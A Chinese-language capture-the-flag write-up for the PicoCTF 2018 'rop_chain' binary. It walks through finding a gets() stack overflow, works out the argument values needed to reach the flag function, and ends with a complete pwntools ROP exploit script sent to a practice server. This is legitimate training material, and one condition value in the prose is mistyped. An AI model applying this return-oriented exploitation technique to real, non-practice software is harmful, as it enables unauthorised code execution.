PicoCTF_2018_rop_chain
使用checksec
查看:
只开启了栈不可执行,放入IDA中查看:
主函数中直接给出了漏洞函数,跟进查看:
很明显gets()
函数存在一个栈溢出,距离ebp0x18
查看发现存在flag.txt
字符串,跟进可以发现函数falg
,:
将flag读入到了参数s里面,满足条件win1&&win2 &&a1==-59039827
的条件,就能读出flag
找到win1
赋值的函数:
发现win1已经被赋值1,可以不用管,
接着看win2赋值的函数:
当满足win1 && a1 == -1163220307
时,win2将被赋值1,这里win1已经满足了,所以只需要给win_function2传参时,将参数设置成-1163220307
即可。
满足win1
和win2
后再返回来看flag
函数,最后只需要满足a1 == -559039827
即可输出flag。
a1
是从flag函数的参数中获取的,也是我们可控的。
这样完整的rop就可以实现了。
exp:
from pwn import *
#start
r = remote("node4.buuoj.cn",26324)
# r = process("../buu/picoctf_2018_rop chain")
elf = ELF("../buu/PicoCTF_2018_rop_chain")
#params
flag_addr = elf.symbols['flag']
win1_addr = elf.symbols['win_function1']
win2_addr = elf.symbols['win_function2']
win2_a = 0x0BAAAAAAD
flag_a = 0x0DEADBAAD
#attack
payload = b'M'*(0x18+4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(win2_a) + p32(flag_a)
r.sendlineafter("input> ",payload)
r.interactive()